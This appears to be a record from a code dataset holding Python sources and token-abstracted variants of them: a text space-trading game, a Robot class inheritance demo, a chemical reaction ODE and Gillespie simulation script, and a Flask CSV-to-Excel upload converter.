token>\n<function token>\n\n\ndef shipyardMenu(player, planet):\n while True:\n cleanScreen()\n print('*****W*E*L*C*O*M*E****T*O****T*H*E****S*H*I*P*Y*A*R*D*****')\n player.printStats()\n print('**********************************************************')\n shipList = planet.getShipyard()\n print('Available Ships:')\n print('**********************************************************')\n i = 0\n for s in shipList:\n print('Nr.:' + str(i) + ':' + s.toString())\n i += 1\n print('**********************************************************')\n userInput = input(\n 'Enter the number you would like to by or x to leave:')\n if userInput == 'x':\n break\n else:\n ui = int(userInput)\n if ui <= i:\n if player.getCredits() > shipList[ui].getPrice():\n if type(shipList[ui]) == FighterShip:\n player.addFighterShip(shipList[ui])\n player.updateFirePower()\n else:\n player.addCargoShip(shipList[ui])\n player.updateCargoUnits()\n player.setCredits(player.getCredits() - shipList[ui].\n getPrice())\n player.updateMaintenance()\n del shipList[ui]\n else:\n print('wrong number, try again ....')\n\n\ndef spacePortMenu(player, planet):\n global turnCounter\n while True:\n cleanScreen()\n print('****W*E*L*C*O*M*E****T*O****T*H*E****S*P*A*C*E*P*O*R*T****')\n print('Enter 1 to jump to a agri planet (risk 5%)')\n print('Enter 2 to jump to a tech planet (risk 10%)')\n print('Enter 3 to jump to a war planet (risk 20%)')\n userInput = input('Or enter x to exit:')\n risk = 0\n if userInput == 'x':\n return planet\n elif userInput == '1':\n risk = 5\n elif userInput == '2':\n risk = 10\n else:\n risk = 20\n if random.randint(0, 100) <= risk:\n spacePirates(player)\n player.setCredits(player.getCredits() - player.getTotalMaintenance())\n turnCounter += 1\n return Planet.Planet(int(userInput))\n\n\ndef marketMenu(player, planet):\n while True:\n cleanScreen()\n print('*******W*E*L*C*O*M*E****T*O****T*H*E****M*A*R*K*E*T*******')\n player.printStats()\n print('**********************************************************')\n market = planet.getMarket()\n print('Price for Food = ', market['Food'])\n print('Price for Tech = ', market['Tech'])\n print('**********************************************************')\n userInput = input('Enter 1 for Food, 2 for Tech or x for exit:')\n str = ''\n if userInput == '1':\n str = 'Food'\n elif userInput == '2':\n str = 'Tech'\n else:\n break\n print('**********************************************************')\n max = 0\n if market[str] * player.freeCargoUnits <= player.getCredits():\n max = player.freeCargoUnits\n else:\n max = int(player.getCredits() / market[str])\n print('Price for ' + str + ' = ', market[str])\n secondInput = input(\n 'Would you like to buy (enter b) or sell (enter s)?')\n if secondInput == 'b':\n print('You can buy a maximum of', max, 'units')\n nr = input('How much would you like to buy? Or press x to exit')\n if nr == 'x':\n pass\n else:\n nr = int(nr)\n if player.getCredits() > market[str] * nr and nr <= max:\n if str == 'Food':\n player.addFood(nr)\n else:\n player.addTech(nr)\n player.setCredits(player.getCredits() - market[str] * nr)\n player.updateCargoUnits()\n elif str == 'Food':\n print('You can sell a maximum of', player.getFood(), 'food units')\n nr = input('How much would you like to sell? Or press x to exit')\n if nr == 'x':\n pass\n else:\n nr = int(nr)\n if nr <= player.getFood():\n player.sellFood(nr)\n player.setCredits(player.getCredits() + nr * market['Food']\n )\n else:\n print('You can sell a maximum of', player.getTech(), 'tech units')\n nr = input('How much would you like to sell? Or press x to exit')\n if nr == 'x':\n pass\n else:\n nr = int(nr)\n if nr <= player.getTech():\n player.sellTech(nr)\n player.setCredits(player.getCredits() + nr * market['Tech']\n )\n\n\ndef menu(player):\n global turnCounter\n notFinished = True\n planet = Planet.Planet(random.randint(1, 3))\n while notFinished:\n cleanScreen()\n if player.getCredits() < 0:\n print(\n 'Sorry, but you ran out of credits and therefore lost the game in round,'\n , turnCounter, '!')\n break\n print('**********************************************************')\n print('Turn nr.', turnCounter,\n 'in this glorious space trading simulation')\n player.printStats()\n print('**********************************************************')\n print('You are on Planet:', planet.getName())\n print('**********************************************************')\n print('Enter 1 to go to the shipyard')\n print('Enter 2 to go to the market')\n print('Enter 3 to go to the spaceport')\n print('Enter exit to leave the game')\n userinput = input('Your Input:')\n if userinput == '1':\n shipyardMenu(player, planet)\n elif userinput == '2':\n marketMenu(player, planet)\n elif userinput == '3':\n planet = spacePortMenu(player, planet)\n else:\n notFinished = False\n\n\n<code token>\n<assignment token>\n<code token>\n", "<docstring token>\n<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n\n\ndef spacePortMenu(player, planet):\n global turnCounter\n while True:\n cleanScreen()\n print('****W*E*L*C*O*M*E****T*O****T*H*E****S*P*A*C*E*P*O*R*T****')\n print('Enter 1 to jump to a agri planet (risk 5%)')\n print('Enter 2 to jump to a tech planet (risk 10%)')\n print('Enter 3 to jump to a war planet (risk 20%)')\n userInput = input('Or enter x to exit:')\n risk = 0\n if userInput == 'x':\n return planet\n elif userInput == '1':\n risk = 5\n elif userInput == '2':\n risk = 10\n else:\n risk = 20\n if random.randint(0, 100) <= risk:\n spacePirates(player)\n player.setCredits(player.getCredits() - player.getTotalMaintenance())\n turnCounter += 1\n return Planet.Planet(int(userInput))\n\n\ndef marketMenu(player, planet):\n while True:\n cleanScreen()\n print('*******W*E*L*C*O*M*E****T*O****T*H*E****M*A*R*K*E*T*******')\n player.printStats()\n print('**********************************************************')\n market = planet.getMarket()\n print('Price for Food = ', market['Food'])\n print('Price for Tech = ', market['Tech'])\n print('**********************************************************')\n userInput = input('Enter 1 for Food, 2 for Tech or x for exit:')\n str = ''\n if userInput == '1':\n str = 'Food'\n elif userInput == '2':\n str = 'Tech'\n else:\n break\n print('**********************************************************')\n max = 0\n if market[str] * player.freeCargoUnits <= player.getCredits():\n max = player.freeCargoUnits\n else:\n max = int(player.getCredits() / market[str])\n print('Price for ' + str + ' = ', market[str])\n secondInput = input(\n 'Would you like to buy (enter b) or sell (enter s)?')\n if secondInput == 'b':\n print('You can buy a maximum of', max, 'units')\n nr = input('How much would you like to buy? Or press x to exit')\n if nr == 'x':\n pass\n else:\n nr = int(nr)\n if player.getCredits() > market[str] * nr and nr <= max:\n if str == 'Food':\n player.addFood(nr)\n else:\n player.addTech(nr)\n player.setCredits(player.getCredits() - market[str] * nr)\n player.updateCargoUnits()\n elif str == 'Food':\n print('You can sell a maximum of', player.getFood(), 'food units')\n nr = input('How much would you like to sell? Or press x to exit')\n if nr == 'x':\n pass\n else:\n nr = int(nr)\n if nr <= player.getFood():\n player.sellFood(nr)\n player.setCredits(player.getCredits() + nr * market['Food']\n )\n else:\n print('You can sell a maximum of', player.getTech(), 'tech units')\n nr = input('How much would you like to sell? Or press x to exit')\n if nr == 'x':\n pass\n else:\n nr = int(nr)\n if nr <= player.getTech():\n player.sellTech(nr)\n player.setCredits(player.getCredits() + nr * market['Tech']\n )\n\n\ndef menu(player):\n global turnCounter\n notFinished = True\n planet = Planet.Planet(random.randint(1, 3))\n while notFinished:\n cleanScreen()\n if player.getCredits() < 0:\n print(\n 'Sorry, but you ran out of credits and therefore lost the game in round,'\n , turnCounter, '!')\n break\n print('**********************************************************')\n print('Turn nr.', turnCounter,\n 'in this glorious space trading simulation')\n player.printStats()\n print('**********************************************************')\n print('You are on Planet:', planet.getName())\n print('**********************************************************')\n print('Enter 1 to go to the shipyard')\n print('Enter 2 to go to the market')\n print('Enter 3 to go to the spaceport')\n print('Enter exit to leave the game')\n userinput = input('Your Input:')\n if userinput == '1':\n shipyardMenu(player, planet)\n elif userinput == '2':\n marketMenu(player, planet)\n elif userinput == '3':\n planet = spacePortMenu(player, planet)\n else:\n notFinished = False\n\n\n<code token>\n<assignment token>\n<code token>\n", "<docstring token>\n<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n\n\ndef spacePortMenu(player, planet):\n global turnCounter\n while True:\n cleanScreen()\n print('****W*E*L*C*O*M*E****T*O****T*H*E****S*P*A*C*E*P*O*R*T****')\n print('Enter 1 to jump to a agri planet (risk 5%)')\n print('Enter 2 to jump to a tech planet (risk 10%)')\n print('Enter 3 to jump to a war planet (risk 20%)')\n userInput = input('Or enter x to exit:')\n risk = 0\n if userInput == 'x':\n return planet\n elif userInput == '1':\n risk = 5\n elif userInput == '2':\n risk = 10\n else:\n risk = 20\n if random.randint(0, 100) <= risk:\n spacePirates(player)\n player.setCredits(player.getCredits() - player.getTotalMaintenance())\n turnCounter += 1\n return Planet.Planet(int(userInput))\n\n\ndef marketMenu(player, planet):\n while True:\n cleanScreen()\n print('*******W*E*L*C*O*M*E****T*O****T*H*E****M*A*R*K*E*T*******')\n player.printStats()\n print('**********************************************************')\n market = planet.getMarket()\n print('Price for Food = ', market['Food'])\n print('Price for Tech = ', market['Tech'])\n print('**********************************************************')\n userInput = input('Enter 1 for Food, 2 for Tech or x for exit:')\n str = ''\n if userInput == '1':\n str = 'Food'\n elif userInput == '2':\n str = 'Tech'\n else:\n break\n print('**********************************************************')\n max = 0\n if market[str] * player.freeCargoUnits <= player.getCredits():\n max = player.freeCargoUnits\n else:\n max = int(player.getCredits() / market[str])\n print('Price for ' + str + ' = ', market[str])\n secondInput = input(\n 'Would you like to buy (enter b) or sell (enter s)?')\n if secondInput == 'b':\n print('You can buy a maximum of', max, 'units')\n nr = input('How much would you like to buy? Or press x to exit')\n if nr == 'x':\n pass\n else:\n nr = int(nr)\n if player.getCredits() > market[str] * nr and nr <= max:\n if str == 'Food':\n player.addFood(nr)\n else:\n player.addTech(nr)\n player.setCredits(player.getCredits() - market[str] * nr)\n player.updateCargoUnits()\n elif str == 'Food':\n print('You can sell a maximum of', player.getFood(), 'food units')\n nr = input('How much would you like to sell? Or press x to exit')\n if nr == 'x':\n pass\n else:\n nr = int(nr)\n if nr <= player.getFood():\n player.sellFood(nr)\n player.setCredits(player.getCredits() + nr * market['Food']\n )\n else:\n print('You can sell a maximum of', player.getTech(), 'tech units')\n nr = input('How much would you like to sell? Or press x to exit')\n if nr == 'x':\n pass\n else:\n nr = int(nr)\n if nr <= player.getTech():\n player.sellTech(nr)\n player.setCredits(player.getCredits() + nr * market['Tech']\n )\n\n\n<function token>\n<code token>\n<assignment token>\n<code token>\n", "<docstring token>\n<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef marketMenu(player, planet):\n while True:\n cleanScreen()\n print('*******W*E*L*C*O*M*E****T*O****T*H*E****M*A*R*K*E*T*******')\n player.printStats()\n print('**********************************************************')\n market = planet.getMarket()\n print('Price for Food = ', market['Food'])\n print('Price for Tech = ', market['Tech'])\n print('**********************************************************')\n userInput = input('Enter 1 for Food, 2 for Tech or x for exit:')\n str = ''\n if userInput == '1':\n str = 'Food'\n elif userInput == '2':\n str = 'Tech'\n else:\n break\n print('**********************************************************')\n max = 0\n if market[str] * player.freeCargoUnits <= player.getCredits():\n max = player.freeCargoUnits\n else:\n max = int(player.getCredits() / market[str])\n print('Price for ' + str + ' = ', market[str])\n secondInput = input(\n 'Would you like to buy (enter b) or sell (enter s)?')\n if secondInput == 'b':\n print('You can buy a maximum of', max, 'units')\n nr = input('How much would you like to buy? Or press x to exit')\n if nr == 'x':\n pass\n else:\n nr = int(nr)\n if player.getCredits() > market[str] * nr and nr <= max:\n if str == 'Food':\n player.addFood(nr)\n else:\n player.addTech(nr)\n player.setCredits(player.getCredits() - market[str] * nr)\n player.updateCargoUnits()\n elif str == 'Food':\n print('You can sell a maximum of', player.getFood(), 'food units')\n nr = input('How much would you like to sell? Or press x to exit')\n if nr == 'x':\n pass\n else:\n nr = int(nr)\n if nr <= player.getFood():\n player.sellFood(nr)\n player.setCredits(player.getCredits() + nr * market['Food']\n )\n else:\n print('You can sell a maximum of', player.getTech(), 'tech units')\n nr = input('How much would you like to sell? Or press x to exit')\n if nr == 'x':\n pass\n else:\n nr = int(nr)\n if nr <= player.getTech():\n player.sellTech(nr)\n player.setCredits(player.getCredits() + nr * market['Tech']\n )\n\n\n<function token>\n<code token>\n<assignment token>\n<code token>\n", "<docstring token>\n<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n<assignment token>\n<code token>\n" ]
false
9,961
6b24c438ca7bb4c37ae356c18c562831767f0569
class Robot: def __init__(self, name): self.name = name def say_hi(self): print("Hi, I'm from class Robot") print("Hi, Ich bin " + self.name) def say_hi_to_everybody(self): print("Hi to all objects :-)") class PhysicianRobot(Robot): def say_hi_again(self): print("Hi, I'm from sub-class PhysicianRobot") print("Hi, Ich bin " + self.name) name_1 = "Marvin" name_2 = "James" x = Robot(name_1) y = PhysicianRobot(name_2) print(x, type(x)) x.say_hi() x.say_hi_to_everybody() print(y, type(y)) y.say_hi() y.say_hi_again() y.say_hi_to_everybody()
[ "class Robot:\n\n def __init__(self, name):\n self.name = name\n\n def say_hi(self):\n print(\"Hi, I'm from class Robot\")\n print(\"Hi, Ich bin \" + self.name)\n\n def say_hi_to_everybody(self):\n print(\"Hi to all objects :-)\")\n\n\nclass PhysicianRobot(Robot):\n def say_hi_again(self):\n print(\"Hi, I'm from sub-class PhysicianRobot\")\n print(\"Hi, Ich bin \" + self.name)\n\n\nname_1 = \"Marvin\"\nname_2 = \"James\"\n\nx = Robot(name_1)\ny = PhysicianRobot(name_2)\n\nprint(x, type(x))\nx.say_hi()\nx.say_hi_to_everybody()\n\nprint(y, type(y))\ny.say_hi()\ny.say_hi_again()\ny.say_hi_to_everybody()\n", "class Robot:\n\n def __init__(self, name):\n self.name = name\n\n def say_hi(self):\n print(\"Hi, I'm from class Robot\")\n print('Hi, Ich bin ' + self.name)\n\n def say_hi_to_everybody(self):\n print('Hi to all objects :-)')\n\n\nclass PhysicianRobot(Robot):\n\n def say_hi_again(self):\n print(\"Hi, I'm from sub-class PhysicianRobot\")\n print('Hi, Ich bin ' + self.name)\n\n\nname_1 = 'Marvin'\nname_2 = 'James'\nx = Robot(name_1)\ny = PhysicianRobot(name_2)\nprint(x, type(x))\nx.say_hi()\nx.say_hi_to_everybody()\nprint(y, type(y))\ny.say_hi()\ny.say_hi_again()\ny.say_hi_to_everybody()\n", "class Robot:\n\n def __init__(self, name):\n self.name = name\n\n def say_hi(self):\n print(\"Hi, I'm from class Robot\")\n print('Hi, Ich bin ' + self.name)\n\n def say_hi_to_everybody(self):\n print('Hi to all objects :-)')\n\n\nclass PhysicianRobot(Robot):\n\n def say_hi_again(self):\n print(\"Hi, I'm from sub-class PhysicianRobot\")\n print('Hi, Ich bin ' + self.name)\n\n\n<assignment token>\nprint(x, type(x))\nx.say_hi()\nx.say_hi_to_everybody()\nprint(y, type(y))\ny.say_hi()\ny.say_hi_again()\ny.say_hi_to_everybody()\n", "class Robot:\n\n def __init__(self, name):\n self.name = name\n\n def say_hi(self):\n print(\"Hi, I'm from class Robot\")\n print('Hi, Ich bin ' + self.name)\n\n def say_hi_to_everybody(self):\n print('Hi to all objects :-)')\n\n\nclass PhysicianRobot(Robot):\n\n def say_hi_again(self):\n print(\"Hi, I'm from sub-class PhysicianRobot\")\n print('Hi, Ich bin ' + self.name)\n\n\n<assignment token>\n<code token>\n", "class Robot:\n\n def __init__(self, name):\n self.name = name\n <function token>\n\n def say_hi_to_everybody(self):\n print('Hi to all objects :-)')\n\n\nclass PhysicianRobot(Robot):\n\n def say_hi_again(self):\n print(\"Hi, I'm from sub-class PhysicianRobot\")\n print('Hi, Ich bin ' + self.name)\n\n\n<assignment token>\n<code token>\n", "class Robot:\n <function token>\n <function token>\n\n def say_hi_to_everybody(self):\n print('Hi to all objects :-)')\n\n\nclass PhysicianRobot(Robot):\n\n def say_hi_again(self):\n print(\"Hi, I'm from sub-class PhysicianRobot\")\n print('Hi, Ich bin ' + self.name)\n\n\n<assignment token>\n<code token>\n", "class Robot:\n <function token>\n <function token>\n <function token>\n\n\nclass PhysicianRobot(Robot):\n\n def say_hi_again(self):\n print(\"Hi, I'm from sub-class PhysicianRobot\")\n print('Hi, Ich bin ' + self.name)\n\n\n<assignment token>\n<code token>\n", "<class token>\n\n\nclass PhysicianRobot(Robot):\n\n def say_hi_again(self):\n print(\"Hi, I'm from sub-class PhysicianRobot\")\n print('Hi, Ich bin ' + self.name)\n\n\n<assignment token>\n<code token>\n", "<class token>\n\n\nclass PhysicianRobot(Robot):\n <function token>\n\n\n<assignment token>\n<code token>\n", "<class token>\n<class token>\n<assignment token>\n<code token>\n" ]
false
9,962
87a1624707e4a113a35d975518e432277c851e41
#' % Computational Biology Lab 3 #' % Alois Klink #' % 18 May 2017 #' # Converting Reaction Equations to a ODE #' To convert many reaction equations to one ODE, one must first find the propensity #' and the changes of each reaction. #' The Reaction class takes a lambda function of the propensity and the change matrix #' as inputs. from simulateChemicals import * #' Here are the reaction formulas: #' #'* $\emptyset \overset{1}{\to} X$ #'* $X \overset{2}{\to} Y$ #'* $2 X + Y \overset{0.02}{\to} 3 X$ #'* $X \overset{0.04}{\to} \emptyset$ reactions = [Reaction(lambda X: 1, [1,0]), Reaction(lambda X: 2*X[0], [-1,1]), Reaction(lambda X: 0.02* X[0]**2 *X[1], [1,-1]), Reaction(lambda X: 0.04*X[0], [-1,0])] #' # Displaying the ODE #' The figure below shows how the system described by the above reactions #' behaves when modelled with an ODE. Notice that as X is being created, it is #' immediatly turned into Y. However, once Y passes a threshold point, and starts #' combining with X, due to the X^2 factor, X dramatically jumps up, rapidly #' converting all Y to X. Once Y runs out, X slowly begins to degrade to #' an equilibrium position. #+trajectories, caption='ODE Simulation Trajectories from 0 initialConditions' system = ChemicalReactionsSystem(reactions, 2) system.trajectories() #' # Gillespie's Algorithm #' The code below shows how the reaction changes when Gillespie's algorithm is #' used to simulate the reactions. Gillespie's algorithm can be reduced by a #' factor to increase the accuracy of the algorithm. This technically works by #' increasing the number of molecules, and speeding up reactions. However, these #' graphs have molecules split into pieces, which is not possible in the real world. r = 1 reactions = Reaction.rescaleReactions(reactions, r) system = ChemicalReactionsSystem(reactions, 2) #' This shows how the cocentration changes over time. Notice that due the high #' randomness of the properties, the threshold point is reached much faster. As #' r increases, however, and the Gillespie's algorithm is reduced, the variance #' gets smaller and smaller, so that the threshold point is reached at the same #' time as the ODE. print("r is " + str(r)) system.gillespieConcentrations(50000*r) #' This shows how the cocentration X changes in relation to the concentrations Y. #' Notice that due the high randomness of the properties, the path is a lot tighter, #' and the stable point seems to be a lot lower. system.gillespieTrajectories([[0, 0], [4, 23]], 10000*r) #' # Reduction #' The following graphs have r = 10 r = 10 reactions = Reaction.rescaleReactions(reactions, r) system = ChemicalReactionsSystem(reactions, 2) #+caption='r = 10', width="15cm" system.gillespieConcentrations(10000*r) #+caption='r = 10', width="15cm" system.gillespieTrajectories([[0, 0], [4, 23]], 10000*r)
[ "#' % Computational Biology Lab 3\n#' % Alois Klink\n#' % 18 May 2017\n\n#' # Converting Reaction Equations to a ODE\n\n#' To convert many reaction equations to one ODE, one must first find the propensity\n#' and the changes of each reaction.\n\n#' The Reaction class takes a lambda function of the propensity and the change matrix\n#' as inputs.\n\nfrom simulateChemicals import *\n\n#' Here are the reaction formulas:\n#'\n#'* $\\emptyset \\overset{1}{\\to} X$\n#'* $X \\overset{2}{\\to} Y$\n#'* $2 X + Y \\overset{0.02}{\\to} 3 X$\n#'* $X \\overset{0.04}{\\to} \\emptyset$\n\nreactions = [Reaction(lambda X: 1, [1,0]),\n Reaction(lambda X: 2*X[0], [-1,1]),\n Reaction(lambda X: 0.02* X[0]**2 *X[1], [1,-1]),\n Reaction(lambda X: 0.04*X[0], [-1,0])]\n\n#' # Displaying the ODE\n\n#' The figure below shows how the system described by the above reactions\n#' behaves when modelled with an ODE. Notice that as X is being created, it is\n#' immediatly turned into Y. However, once Y passes a threshold point, and starts\n#' combining with X, due to the X^2 factor, X dramatically jumps up, rapidly\n#' converting all Y to X. Once Y runs out, X slowly begins to degrade to\n#' an equilibrium position.\n\n#+trajectories, caption='ODE Simulation Trajectories from 0 initialConditions'\nsystem = ChemicalReactionsSystem(reactions, 2)\nsystem.trajectories()\n\n#' # Gillespie's Algorithm\n\n#' The code below shows how the reaction changes when Gillespie's algorithm is\n#' used to simulate the reactions. Gillespie's algorithm can be reduced by a \n#' factor to increase the accuracy of the algorithm. This technically works by\n#' increasing the number of molecules, and speeding up reactions. However, these\n#' graphs have molecules split into pieces, which is not possible in the real world.\n\nr = 1\nreactions = Reaction.rescaleReactions(reactions, r)\nsystem = ChemicalReactionsSystem(reactions, 2)\n\t\n#' This shows how the cocentration changes over time. Notice that due the high\n#' randomness of the properties, the threshold point is reached much faster. As\n#' r increases, however, and the Gillespie's algorithm is reduced, the variance\n#' gets smaller and smaller, so that the threshold point is reached at the same\n#' time as the ODE.\n\nprint(\"r is \" + str(r))\nsystem.gillespieConcentrations(50000*r)\n\n#' This shows how the cocentration X changes in relation to the concentrations Y.\n#' Notice that due the high randomness of the properties, the path is a lot tighter,\n#' and the stable point seems to be a lot lower.\n\nsystem.gillespieTrajectories([[0, 0], [4, 23]],\n\t\t 10000*r)\n\t\t \n#' # Reduction\n\n#' The following graphs have r = 10\n\nr = 10\nreactions = Reaction.rescaleReactions(reactions, r)\nsystem = ChemicalReactionsSystem(reactions, 2)\n\n#+caption='r = 10', width=\"15cm\"\nsystem.gillespieConcentrations(10000*r)\n\n#+caption='r = 10', width=\"15cm\"\nsystem.gillespieTrajectories([[0, 0], [4, 23]],\n\t\t 10000*r)\n", "from simulateChemicals import *\nreactions = [Reaction(lambda X: 1, [1, 0]), Reaction(lambda X: 2 * X[0], [-\n 1, 1]), Reaction(lambda X: 0.02 * X[0] ** 2 * X[1], [1, -1]), Reaction(\n lambda X: 0.04 * X[0], [-1, 0])]\nsystem = ChemicalReactionsSystem(reactions, 2)\nsystem.trajectories()\nr = 1\nreactions = Reaction.rescaleReactions(reactions, r)\nsystem = ChemicalReactionsSystem(reactions, 2)\nprint('r is ' + str(r))\nsystem.gillespieConcentrations(50000 * r)\nsystem.gillespieTrajectories([[0, 0], [4, 23]], 10000 * r)\nr = 10\nreactions = Reaction.rescaleReactions(reactions, r)\nsystem = ChemicalReactionsSystem(reactions, 2)\nsystem.gillespieConcentrations(10000 * r)\nsystem.gillespieTrajectories([[0, 0], [4, 23]], 10000 * r)\n", "<import token>\nreactions = [Reaction(lambda X: 1, [1, 0]), Reaction(lambda X: 2 * X[0], [-\n 1, 1]), Reaction(lambda X: 0.02 * X[0] ** 2 * X[1], [1, -1]), Reaction(\n lambda X: 0.04 * X[0], [-1, 0])]\nsystem = ChemicalReactionsSystem(reactions, 2)\nsystem.trajectories()\nr = 1\nreactions = Reaction.rescaleReactions(reactions, r)\nsystem = ChemicalReactionsSystem(reactions, 2)\nprint('r is ' + str(r))\nsystem.gillespieConcentrations(50000 * r)\nsystem.gillespieTrajectories([[0, 0], [4, 23]], 10000 * r)\nr = 10\nreactions = Reaction.rescaleReactions(reactions, r)\nsystem = ChemicalReactionsSystem(reactions, 2)\nsystem.gillespieConcentrations(10000 * r)\nsystem.gillespieTrajectories([[0, 0], [4, 23]], 10000 * r)\n", "<import token>\n<assignment token>\nsystem.trajectories()\n<assignment token>\nprint('r is ' + str(r))\nsystem.gillespieConcentrations(50000 * r)\nsystem.gillespieTrajectories([[0, 0], [4, 23]], 10000 * r)\n<assignment token>\nsystem.gillespieConcentrations(10000 * r)\nsystem.gillespieTrajectories([[0, 0], [4, 23]], 10000 * r)\n", "<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n" ]
false
9,963
eb17de8828a600832253c4cfeeb91503b6876dd7
import os from flask import Flask, request, redirect, url_for, render_template, send_from_directory from werkzeug.utils import secure_filename import chardet as chardet import pandas as pd UPLOAD_FOLDER = os.path.dirname(os.path.abspath(__file__)) + '/uploads/' DOWNLOAD_FOLDER = os.path.dirname(os.path.abspath(__file__)) + '/downloads/' ALLOWED_EXTENSIONS = {'csv', 'txt'} app = Flask(__name__, static_url_path="/static") DIR_PATH = os.path.dirname(os.path.realpath(__file__)) app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER app.config['DOWNLOAD_FOLDER'] = DOWNLOAD_FOLDER # limit upload size upto 8mb app.config['MAX_CONTENT_LENGTH'] = 8 * 1024 * 1024 def allowed_file(filename): return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS @app.route('/', methods=['GET', 'POST']) def index(): if request.method == 'POST': if 'file' not in request.files: print('No file attached in request') return redirect(request.url) file = request.files['file'] if file.filename == '': print('No file selected') return redirect(request.url) if file and allowed_file(file.filename): filename = secure_filename(file.filename) file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename)) process_file(os.path.join(app.config['UPLOAD_FOLDER'], filename), filename) return redirect(url_for('uploaded_file', filename=filename)) return render_template('index.html') def process_file(path, filename): check_encoding(path, filename) # with open(path, 'a') as f: # f.write("\nAdded processed content") def check_encoding(path, filename): with open(path, 'rb') as rawdata: result = chardet.detect(rawdata.read(10000)) df = pd.read_csv(path, encoding=result['encoding']) GFG = pd.ExcelWriter(app.config['DOWNLOAD_FOLDER'] + filename.rsplit('.', 1)[0] + '.xlsx') df.to_excel(GFG, index=False, encoding='utf-8') #output_stream = open(app.config['DOWNLOAD_FOLDER'] + 'output.xlsx', 'wb') #GFG.write(output_stream) GFG.save() @app.route('/uploads/<filename>') def uploaded_file(filename): return send_from_directory(app.config['DOWNLOAD_FOLDER'], filename.rsplit('.', 1)[0] + '.xlsx', as_attachment=True) if __name__ == '__main__': port = int(os.environ.get("PORT", 5000)) app.run(host='0.0.0.0', port=port)
[ "import os\nfrom flask import Flask, request, redirect, url_for, render_template, send_from_directory\nfrom werkzeug.utils import secure_filename\nimport chardet as chardet\nimport pandas as pd\n\nUPLOAD_FOLDER = os.path.dirname(os.path.abspath(__file__)) + '/uploads/'\nDOWNLOAD_FOLDER = os.path.dirname(os.path.abspath(__file__)) + '/downloads/'\nALLOWED_EXTENSIONS = {'csv', 'txt'}\n\napp = Flask(__name__, static_url_path=\"/static\")\nDIR_PATH = os.path.dirname(os.path.realpath(__file__))\napp.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER\napp.config['DOWNLOAD_FOLDER'] = DOWNLOAD_FOLDER\n# limit upload size upto 8mb\napp.config['MAX_CONTENT_LENGTH'] = 8 * 1024 * 1024\n\n\ndef allowed_file(filename):\n return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS\n\n\[email protected]('/', methods=['GET', 'POST'])\ndef index():\n if request.method == 'POST':\n if 'file' not in request.files:\n print('No file attached in request')\n return redirect(request.url)\n file = request.files['file']\n if file.filename == '':\n print('No file selected')\n return redirect(request.url)\n if file and allowed_file(file.filename):\n filename = secure_filename(file.filename)\n file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))\n process_file(os.path.join(app.config['UPLOAD_FOLDER'], filename), filename)\n return redirect(url_for('uploaded_file', filename=filename))\n return render_template('index.html')\n\n\ndef process_file(path, filename):\n check_encoding(path, filename)\n # with open(path, 'a') as f:\n # f.write(\"\\nAdded processed content\")\n\n\ndef check_encoding(path, filename):\n with open(path, 'rb') as rawdata:\n result = chardet.detect(rawdata.read(10000))\n df = pd.read_csv(path, encoding=result['encoding'])\n GFG = pd.ExcelWriter(app.config['DOWNLOAD_FOLDER'] + filename.rsplit('.', 1)[0] + '.xlsx')\n df.to_excel(GFG, index=False, encoding='utf-8')\n #output_stream = open(app.config['DOWNLOAD_FOLDER'] + 'output.xlsx', 'wb')\n #GFG.write(output_stream)\n GFG.save()\n\n \n\[email protected]('/uploads/<filename>')\ndef uploaded_file(filename):\n return send_from_directory(app.config['DOWNLOAD_FOLDER'], filename.rsplit('.', 1)[0] + '.xlsx', as_attachment=True)\n\n\nif __name__ == '__main__':\n port = int(os.environ.get(\"PORT\", 5000))\n app.run(host='0.0.0.0', port=port)", "import os\nfrom flask import Flask, request, redirect, url_for, render_template, send_from_directory\nfrom werkzeug.utils import secure_filename\nimport chardet as chardet\nimport pandas as pd\nUPLOAD_FOLDER = os.path.dirname(os.path.abspath(__file__)) + '/uploads/'\nDOWNLOAD_FOLDER = os.path.dirname(os.path.abspath(__file__)) + '/downloads/'\nALLOWED_EXTENSIONS = {'csv', 'txt'}\napp = Flask(__name__, static_url_path='/static')\nDIR_PATH = os.path.dirname(os.path.realpath(__file__))\napp.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER\napp.config['DOWNLOAD_FOLDER'] = DOWNLOAD_FOLDER\napp.config['MAX_CONTENT_LENGTH'] = 8 * 1024 * 1024\n\n\ndef allowed_file(filename):\n return '.' in filename and filename.rsplit('.', 1)[1].lower(\n ) in ALLOWED_EXTENSIONS\n\n\[email protected]('/', methods=['GET', 'POST'])\ndef index():\n if request.method == 'POST':\n if 'file' not in request.files:\n print('No file attached in request')\n return redirect(request.url)\n file = request.files['file']\n if file.filename == '':\n print('No file selected')\n return redirect(request.url)\n if file and allowed_file(file.filename):\n filename = secure_filename(file.filename)\n file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))\n process_file(os.path.join(app.config['UPLOAD_FOLDER'], filename\n ), filename)\n return redirect(url_for('uploaded_file', filename=filename))\n return render_template('index.html')\n\n\ndef process_file(path, filename):\n check_encoding(path, filename)\n\n\ndef check_encoding(path, filename):\n with open(path, 'rb') as rawdata:\n result = chardet.detect(rawdata.read(10000))\n df = pd.read_csv(path, encoding=result['encoding'])\n GFG = pd.ExcelWriter(app.config['DOWNLOAD_FOLDER'] + filename.rsplit(\n '.', 1)[0] + '.xlsx')\n df.to_excel(GFG, index=False, encoding='utf-8')\n GFG.save()\n\n\[email protected]('/uploads/<filename>')\ndef uploaded_file(filename):\n return send_from_directory(app.config['DOWNLOAD_FOLDER'], filename.\n rsplit('.', 1)[0] + '.xlsx', as_attachment=True)\n\n\nif __name__ == '__main__':\n port = int(os.environ.get('PORT', 5000))\n app.run(host='0.0.0.0', port=port)\n", "<import token>\nUPLOAD_FOLDER = os.path.dirname(os.path.abspath(__file__)) + '/uploads/'\nDOWNLOAD_FOLDER = os.path.dirname(os.path.abspath(__file__)) + 